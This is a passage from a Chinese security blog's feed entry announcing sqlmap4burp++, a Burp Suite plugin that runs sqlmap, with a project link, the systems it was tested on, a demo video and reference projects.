class="keyword">new</span> ProcessBuilder(cmds).start();</span><br></pre></td></tr></table></figure><p>完整代码请移步项目地址:<a href="https://github.com/c0ny1/sqlmap4burp-plus-plus" target="_blank" rel="noopener">https://github.com/c0ny1/sqlmap4burp-plus-plus</a></p><h2 id="0x02-插件演示"><a href="#0x02-插件演示" class="headerlink" title="0x02 插件演示"></a>0x02 插件演示</h2><p>插件已经在如下系统测试成功:</p><ul><li>Windows:7,10</li><li>Mac OSX:Mojave 10.14.5</li><li>Linux:Kali2019.2</li></ul><p>请FQ观看演示,或者直接访问:<a href="https://www.youtube.com/watch?v=1RWVkztssvw" target="_blank" rel="noopener">https://www.youtube.com/watch?v=1RWVkztssvw</a></p><iframe width="560" height="315" src="https://www.youtube.com/embed/1RWVkztssvw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><h2 id="0x03-参考项目"><a href="#0x03-参考项目" class="headerlink" title="0x03 参考项目"></a>0x03 参考项目</h2><ul><li><a href="https://github.com/blueroutecn/Burpsuite4Extender" target="_blank" rel="noopener">https://github.com/blueroutecn/Burpsuite4Extender</a></li><li><a href="https://github.com/difcareer/sqlmap4burp" target="_blank" rel="noopener">https://github.com/difcareer/sqlmap4burp</a></li></ul>]]></content>
<summary type="html">
<p>其实联动sqlmap与burp的插件挺多的,有<a href="https://code.google.com/p/gason/" target="_blank" rel="noopener">gson</a>,<a href="https://github.com/portswigger/co2" target="_blank" rel="noopener">CO2</a>,<a href="https://github.com/portswigger/sqli-py" target="_blank" rel="noopener">sqli-py</a>等等。但我独爱<a href="https://github.com/difcareer/sqlmap4burp" target="_blank" rel="noopener">sqlmap4burp</a>,因为它使用超简单。原来在Windows下体验还是很ok的,自从换上mac之后就不好使了。</p>
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
</feed>